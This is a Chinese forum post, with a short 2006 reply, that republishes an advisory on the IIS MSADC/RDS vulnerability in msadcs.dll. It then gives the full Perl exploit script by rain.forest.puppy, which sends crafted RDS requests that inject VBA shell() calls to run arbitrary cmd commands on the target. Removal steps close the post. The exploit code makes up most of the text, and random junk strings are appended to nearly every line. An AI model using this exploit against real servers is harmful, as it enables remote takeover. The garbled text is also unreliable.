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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) zj~(CNE  
61qs`N=k  
涉及程序: SePPI.n  
Microsoft NT server DeqTr:  
j_=A)B?  
描述: -e#~CE-  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 W lD cKY  
+rT%C&ze  
详细: g&z)y  
如果你没有时间读详细内容的话,就删除: SZ/}2_;  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ZkbaUIQ  
有关的安全问题就没有了。 >j5,Z]  
K})=&<M0  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 +TA 'P$j  
!m7`E  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 PvmmyF  
关于利用ODBC远程漏洞的描述,请参看: b=V"$(Q  
fY)Dx c&ue  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _e2=BE`W)  
h6Femis  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ^]x%z*6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp pKSn 3-A  
8KxBN)fO;  
这里不再论述。 _G$SA-W(  
i5f8}`w  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: uc0 1{t0,  
0F"W~OQ6  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7(ni_|$|  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! <F>^ffwGH-  
U8f!yXF'  
+XaRwcLC.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ySfot`LQ  
].=~C"s,a  
#!perl c"nowbf  
# <)hA? 3J  
# MSADC/RDS 'usage' (aka exploit) script tl:V8sYTP  
# d|P,e;m-  
# by rain.forest.puppy _*tU.x|DP  
# K-_XdJ\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 74[wZDW|(  
# beta test and find errors! S JseP_-  
GJu[af  
use Socket; use Getopt::Std; <7U\@si4  
getopts("e:vd:h:XR", \%args); 2)iwAu   
iy<|<*s2D  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; SG5GJCkc  
GnX+.uQL|  
if (!defined $args{h} && !defined $args{R}) { q <, b  
print qq~ I_/E0qSJI  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 5Kadh2nz  
-h <host> = host you want to scan (ip or domain) $#ve^.VHv  
-d <seconds> = delay between calls, default 1 second mJ_ 5Vt=  
-X = dump Index Server path table, if available >)Udb//  
-v = verbose O/(QLgUr  
-e = external dictionary file for step 5 &["s/!O1R  
H^VNw1.   
Or a -R will resume a command session h_( #U)z_3  
|)Q#U$ m  
~; exit;} ;+Dq 3NE  
f3>L/9[[<P  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 3R}O3#lj,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} %Tv2op  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} |Ix{JP"Lk  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 5[[mS  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} /wR,P  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } [$Dzf<0  
8opd0'SNaB  
if (!defined $args{R}){ $ret = &has_msadc; mTj ?W$+r  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} f-!P[6bY  
*=2sXH1j  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" FxFRrRRH@  
. "cmd /c "; )bgaqca_{  
$in=<STDIN>; chomp $in; 2Y7u M;8  
$command="cmd /c " . $in ; 9n#lDL O  
oSl@EI  
if (defined $args{R}) {&load; exit;} G%HuB5:u  
F"ua`ercI  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ]aMeMhe-  
&try_btcustmr; W=S<DtG2  
}e K.\_t=  
print "\nStep 2: Trying to make our own DSN..."; ng{ "W|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; tkX?iqKQ  
tRCz[M&  
print "\nStep 3: Trying known DSNs..."; *}P=7TuS  
&known_dsn; )ppIO"\  
-z~;f<+I`  
print "\nStep 4: Trying known .mdbs..."; aGml!N5'  
&known_mdb; lDX\"Fq  
h]jy):9L  
if (defined $args{e}){ Bln($lOz  
print "\nStep 5: Trying dictionary of DSN names..."; )j+G4  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } :pCv!g2  
61~7 L^882  
print "Sorry Charley...maybe next time?\n"; ~QngCg-5q  
exit; \0fk^  
#/0d  
############################################################################## n)uck5  
M-V{(  
sub sendraw { # ripped and modded from whisker \\)9QP?  
sleep($delay); # it's a DoS on the server! At least on mine... >3?p23|;  
my ($pstr)=@_; I/hq8v~S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !zQbF&>  
die("Socket problems\n"); hd1aNaF-  
if(connect(S,pack "SnA4x8",2,80,$target)){ l 2ARM3"  
select(S); $|=1; +pY-- 5t  
print $pstr; my @in=<S>; "j/jhe6  
select(STDOUT); close(S); <<Q}|$Wu  
return @in; c0v6*O)  
} else { die("Can't connect...\n"); }} mXOY,g2w  
U}R (  
############################################################################## V0G"Z6  
( u^`3=%n  
sub make_header { # make the HTTP request +A-z>T(  
my $msadc=<<EOT #GuN.`__n,  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -R-yr.$j*  
User-Agent: ACTIVEDATA \~> .NH-  
Host: $ip Y=ksrs>w  
Content-Length: $clen 80%L!x|  
Connection: Keep-Alive e X{#F gFc  
8'* /|)Hn  
ADCClientVersion:01.06 8P* d  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 `kYcTFk  
n09P!],Xa  
--!ADM!ROX!YOUR!WORLD! eL_Il.:  
Content-Type: application/x-varg |" ag'h  
Content-Length: $reqlen U[{vA6  
aP[oLk$'Z  
EOT hEq-)-^G  
; $msadc=~s/\n/\r\n/g; -oT3`d3  
return $msadc;} 2C AR2V|  
KA? J:  
############################################################################## F EA t6  
}u]7x:lh  
sub make_req { # make the RDS request KP&$Sl  
my ($switch, $p1, $p2)=@_; =`ECM7  
my $req=""; my $t1, $t2, $query, $dsn; |@BX*r  
[=TD)o>W(p  
if ($switch==1){ # this is the btcustmr.mdb query vMzBp#MT  
$query="Select * from Customers where City=" . make_shell(); i:|e#$x  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . _>E=.$  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} @y2cC6+'t  
oc"7|YG  
elsif ($switch==2){ # this is general make table query 8l*h\p:Q  
$query="create table AZZ (B int, C varchar(10))"; FGzn|I  
$dsn="$p1";} X@ S~D7|ja  
1G8,Eah  
elsif ($switch==3){ # this is general exploit table query E5yn,-GyE0  
$query="select * from AZZ where C=" . make_shell(); J^-a@' `+  
$dsn="$p1";} 4hx4/5[^  
DJb9] ,=a  
elsif ($switch==4){ # attempt to hork file info from index server # TZ`   
$query="select path from scope()"; o]DYS,v  
$dsn="Provider=MSIDXS;";} 30W.ks5(  
WOQ>]Z  
elsif ($switch==5){ # bad query 5KTPlqm0qF  
$query="select"; gu "@*,hL  
$dsn="$p1";} @rS(3wu_&  
9v/=o`J#  
$t1= make_unicode($query); )|6OPR@(#/  
$t2= make_unicode($dsn); H.< F6  
$req = "\x02\x00\x03\x00"; @RHG@{x{K  
$req.= "\x08\x00" . pack ("S1", length($t1)); ~3)d?{5  
$req.= "\x00\x00" . $t1 ; ~;}uYJ  
$req.= "\x08\x00" . pack ("S1", length($t2)); 8?1MnjhX10  
$req.= "\x00\x00" . $t2 ; 6^)eW+  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {_4`0J`3  
return $req;} >en\:pJn)'  
 I)MRAo  
############################################################################## +~"(Wooi  
T037|k a{  
sub make_shell { # this makes the shell() statement ioUO 0  
return "'|shell(\"$command\")|'";} P4:Zy;$v!  
0),fY(D2T  
############################################################################## DWS#q|j`"  
YjiMUi\V  
sub make_unicode { # quick little function to convert to unicode 2U3e!V  
my ($in)=@_; my $out; eV"s5X[$  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } (}rBnD  
return $out;} HWFL u  
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############################################################################## 9)>+r6t  
ECk3Da  
sub rdo_success { # checks for RDO return success (this is kludge) 2(5/#$t  
my (@in) = @_; my $base=content_start(@in); eo~b]D  
if($in[$base]=~/multipart\/mixed/){ /!%?I#K{Wq  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} tn;{r  
return 0;} /VD[:sU7  
UrO& K]Z  
############################################################################## S`Z[MNY  
NA$%Up  
sub make_dsn { # this makes a DSN for us 6xFchdMG{m  
my @drives=("c","d","e","f"); Dutc#?bT  
print "\nMaking DSN: "; PZVH=dagq  
foreach $drive (@drives) { p6&<eMwFA  
print "$drive: "; @1D3E=  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . @Z5,j)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" xXfv({  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); k2(k0HFR  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; h.wffk,  
return 0 if $2 eq "404"; # not found/doesn't exist 'e_e*.z3  
if($2 eq "200") { 4X!4S6JfB  
foreach $line (@results) { tt|P-p-  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -qBdcbi|x)  
} return 0;} aQ-SrxmO8  
p W@Yr  
############################################################################## 86>@.:d  
sN K^.0  
sub verify_exists { J50n E~  
my ($page)=@_; cG&@PO]+.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); hcM9Sx"!  
return $results[0];} B4*uS (  
0oZZLi  
############################################################################## z4(`>z2a  
6s>io%,:  
sub try_btcustmr { {0 %  
my @drives=("c","d","e","f"); q/Zs]Gz  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nzZs2  
Sk-Q 4D^  
foreach $dir (@dirs) { Ly z8DwZ  
print "$dir -> "; # fun status so you can see progress U'u_'5 {  
foreach $drive (@drives) { VK!HuO9l  
print "$drive: "; # ditto iRx`Nx<@  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 0+&K;  
$reqlenlen=length( "$reqlen" ); hhz#I A6,  
$clen= 206 + $reqlenlen + $reqlen; ss6{+@,  
ky&wv+7  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); o_BRsJy  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} u}P:9u&h6X  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} BLAF{vVaf  
my/KsB  
############################################################################## FzykC  
QNXoAx%I  
sub odbc_error { . IM]B4m  
my (@in)=@_; my $base; 9GsG*$-I  
my $base = content_start(@in);  f^KN8N  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ) ~gIJW  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eeBW~_W  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; gW<4E=fl  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; RF;[:[*W  
return $in[$base+4].$in[$base+5].$in[$base+6];} L2_[M'  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Q}cti /  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . lEw;X78+  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |~#A?mK-  
jT/P+2hMW  
############################################################################## l`uMtv/Wp  
yo(MJ^=d  
sub verbose { $|@pY| f  
my ($in)=@_; $xK\$kw\  
return if !$verbose; "ZPgl 8  
print STDOUT "\n$in\n";} 0FLCN!i1  
"?kDR1=7A  
############################################################################## w`D$W&3>  
r)Vpt fg;  
sub save { |KZX_4   
my ($p1, $p2, $p3, $p4)=@_; +SE\c  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; @.c[z D  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?JTTl;  
close OUT;} [-i&)eX  
P#Whh  
############################################################################## 1k^$:'  
F|VKrH.  
sub load { ?|pP&8r  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jE=m4_Ntn  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); BsL+9lNue  
@p=<IN>; close(IN); @!j6y (@  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 8TG|frS  
$target= inet_aton($ip) || die("inet_aton problems"); UG_ PrZd  
print "Resuming to $ip ..."; h?$J;xn  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; E 0l&d  
if($p[1]==1) { cr|]\  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; MppT"t  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *B \ @L  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 6!?] (  
if (rdo_success(@results)){print "Success!\n";} Ekik_!aB  
else { print "failed\n"; verbose(odbc_error(@results));}} fJ0V|o  
elsif ($p[1]==3){ P;K LN9/4  
if(run_query("$p[3]")){ CrSBN~  
print "Success!\n";} else { print "failed\n"; }} N-t"CBTO  
elsif ($p[1]==4){ N=7iQ@{1   
if(run_query($drvst . "$p[3]")){ s diWQv  
print "Success!\n"; } else { print "failed\n"; }} _sZ&=-FR  
exit;} w\UAKN60  
=,C]d~  
############################################################################## ~kj96w4eAR  
?m+];SJk  
sub create_table { wjZ Q.T!  
my ($in)=@_; Gy;Fe=  
$reqlen=length( make_req(2,$in,"") ) - 28; Ke3~o"IQ  
$reqlenlen=length( "$reqlen" ); GU9G5S.  
$clen= 206 + $reqlenlen + $reqlen; u!HX`~q+A  
my @results=sendraw(make_header() . make_req(2,$in,"")); (+0(A777M  
return 1 if rdo_success(@results); zg@i7T  
my $temp= odbc_error(@results); verbose($temp); J#F HR/zV  
return 1 if $temp=~/Table 'AZZ' already exists/; ;MK|l,aIQ  
return 0;} IW>~Yl?  
B/qN1D]U.  
############################################################################## l'M/et{:  
Q+wO\TtE  
sub known_dsn { Q'!'+;&%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go MM*~X"A  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", xIW]e1pu=(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", <Rs$d0/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); fI2 y(p{?  
hoM%|,0  
foreach $dSn (@dsns) { 3 {hUp81>  
print "."; Fw{68ggk  
next if (!is_access("DSN=$dSn")); 8SL E*c^8  
if(create_table("DSN=$dSn")){ n*' :,m  
print "$dSn successful\n"; u 8<[Q]5  
if(run_query("DSN=$dSn")){ 8~yP?#p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { UjLq[,_!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} BOR$R}q  
g kV`ZT9  
############################################################################## [s\8@5?E  
c0HPS9N\  
sub is_access { ^$C&{%  
my ($in)=@_; :VWN/m  
$reqlen=length( make_req(5,$in,"") ) - 28; |(TEG.<g  
$reqlenlen=length( "$reqlen" ); Y2'HP)tfIw  
$clen= 206 + $reqlenlen + $reqlen; rBU)@IpDG  
my @results=sendraw(make_header() . make_req(5,$in,"")); .qKfhHJ  
my $temp= odbc_error(@results); o8H\l\(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 98| v.d  
return 0;} FGie*t  
>R_m@$`  
############################################################################## \ykA7Y%  
oM^vJ3  
sub run_query { Q4*{+$A  
my ($in)=@_; %Tu(>vnuj  
$reqlen=length( make_req(3,$in,"") ) - 28; H3vnc\d~  
$reqlenlen=length( "$reqlen" ); 2xiE#l-V2  
$clen= 206 + $reqlenlen + $reqlen; EYZ&%.Sy5  
my @results=sendraw(make_header() . make_req(3,$in,"")); lZe-A/E  
return 1 if rdo_success(@results); 9z{g3m70@  
my $temp= odbc_error(@results); verbose($temp); ZR%$f-  
return 0;} iPY)Ew`Im  
"#gS?aS  
############################################################################## \,n X/f  
J>G'H)  
sub known_mdb { &OE-+z  
my @drives=("c","d","e","f","g"); yiXb<g+B  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @Q{:m)\  
my $dir, $drive, $mdb; 1{]S[\F]  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5-k gGOt  
VAjl?\}6  
# this is sparse, because I don't know of many AS:k&t  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8.^`~ta  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ]N0B.e~D  
"\\system32\\certmdb.mdb", l+@k:IK  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7\$b%A  
-|s% 5p|  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", xluA jOQ6  
"\\cfusion\\cfapps\\forums\\forums_.mdb", J#4pA{01w  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 'rFLG+W  
"\\cfusion\\cfapps\\security\\realm_.mdb", /X0<2&v  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", s?;V!t  
"\\cfusion\\database\\cfexamples.mdb", U HTxNK@}  
"\\cfusion\\database\\cfsnippets.mdb", Q%!xw(  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", {M=B5-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "R-j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", @"98u$5  
"\\cfusion\\database\\smpolicy.mdb", p`Tl)[*  
"\\cfusion\\database\cypress.mdb", sAs`O@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", yLnTIE3)  
"\\website\\cgi-win\\dbsample.mdb", fpjFO&ML  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 8@rF~^-_  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" OI:=>Bk  
); #these are just 9^C6ZgNS  
foreach $drive (@drives) { k%sA+=  
foreach $dir (@dirs){ A,4} $-7  
foreach $mdb (@sysmdbs) { MIZ!+[At  
print "."; 2\O!vp>|-  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ x 0vW9*&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $Op:-aW&  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ prIJjy-F  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; [!} uj`e  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 0lcwc"_DZX  
IsFL"Vx  
foreach $drive (@drives) { \Km+>G  
foreach $mdb (@mdbs) { AGVipI #  
print "."; sv "GX< +  
if(create_table($drv . $drive . $dir . $mdb)){ i !SN"SY  
print "\n" . $drive . $dir . $mdb . " successful\n"; ;D4 bxz0ou  
if(run_query($drv . $drive . $dir . $mdb)){ rXe+#`m2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; eB,@oo%  
} else { print "Something's borked. Use verbose next time\n"; }}}} P;&U3i  
} NX]6RZr-  
(15.?9  
############################################################################## +K;%sAZy  
RzLeR%O  
sub hork_idx { Z%r8oj\n  
print "\nAttempting to dump Index Server tables...\n"; : 9zEne4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; k9\n='OI  
$reqlen=length( make_req(4,"","") ) - 28; *s2 C+@ef  
$reqlenlen=length( "$reqlen" ); 1'k,P;s  
$clen= 206 + $reqlenlen + $reqlen; =)Goip  
my @results=sendraw2(make_header() . make_req(4,"","")); ry* 9  
if (rdo_success(@results)){ IY2f$YV  
my $max=@results; my $c; my %d; 5hAs/i9_  
for($c=19; $c<$max; $c++){ tf9a- s  
$results[$c]=~s/\x00//g; 9w\C vO&R  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; MSt@yKq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Z$)jPDSr  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; B|;?#okx  
$d{"$1$2"}="";} 9!D c=  
foreach $c (keys %d){ print "$c\n"; } KDDx[]1Q  
} else {print "Index server doesn't seem to be installed.\n"; }} 0=OvVU;P  
Ftu d6  
############################################################################## 'sI @e s  
pSpxd |k  
sub dsn_dict { #N\<(SD/  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); #q?:Act  
while(<IN>){ K*j1Fy:  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 2&F  H8  
next if (!is_access("DSN=$dSn")); uv7tbI"r  
if(create_table("DSN=$dSn")){ W}\<}dK  
print "$dSn successful\n"; ]k.YG!$  
if(run_query("DSN=$dSn")){ VZA>ErB  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { FvBnmYn W  
print "Something's borked. Use verbose next time\n";}}} %-NG eN8  
print "\n"; close(IN);} <bBgevL+_K  
GIUyW  
############################################################################## !t&C,@Ox  
H<`7){iG  
sub sendraw2 { # ripped and modded from whisker M;@/697G  
sleep($delay); # it's a DoS on the server! At least on mine... `{J(S'a`  
my ($pstr)=@_; >9Y0t^Fl  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || k)fLJ9R  
die("Socket problems\n"); _eaK:EW  
if(connect(S,pack "SnA4x8",2,80,$target)){ +n<;);h  
print "Connected. Getting data"; '494^1"io  
open(OUT,">raw.out"); my @in; Vjr}"K$Y  
select(S); $|=1; print $pstr; :HN\A4=kc(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @'?7au ''  
close(OUT); select(STDOUT); close(S); return @in; t~]tw  
} else { die("Can't connect...\n"); }} ,aSK L1  
sRGIHT#  
############################################################################## yrrP#F  
Y2y = P  
sub content_start { # this will take in the server headers xa%2w]  
my (@in)=@_; my $c; J)=Ts({  
for ($c=1;$c<500;$c++) { =Xb:.  
if($in[$c] =~/^\x0d\x0a/){ ,V=]QHcg  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  OV$|!n  
else { return $c+1; }}} dxWG+S  
return -1;} # it should never get here actually 8d\/  
Oj.xJ(uX+v  
############################################################################## st(Y{Gs  
'Z^KpW  
sub funky { "NO*(<C.R  
my (@in)=@_; my $error=odbc_error(@in); eP|hxqM&9  
if($error=~/ADO could not find the specified provider/){ ",Fqpu&M  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 6b=7{nLF  
exit;} >zcp(M98  
if($error=~/A Handler is required/){ n0'"/zyc  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0]t7(P"F6  
exit;} dIvvJk8  
if($error=~/specified Handler has denied Access/){ 3=kw{r[2lM  
print "\nServer has custom handler filters (they most likely are patched)\n"; vtf`+q  
exit;}} &0@AM_b  
?rububDT{  
############################################################################## nA XWbavY  
'xc=N  
sub has_msadc { o7s<G8;?  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); UL\gcZ Zkl  
my $base=content_start(@results); VWE`wan<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); CZ/:(sOJ  
return 0;} fhQ}Z%$  
?N!.:~~k  
######################## ;!/g`*?  
@RVj~J.A  
Pt %EyFG  
解决方案: >WW5;7$  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 9TOqA4  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 -&_;x&k /  
B"fKv0  
拿出来充数 哈哈
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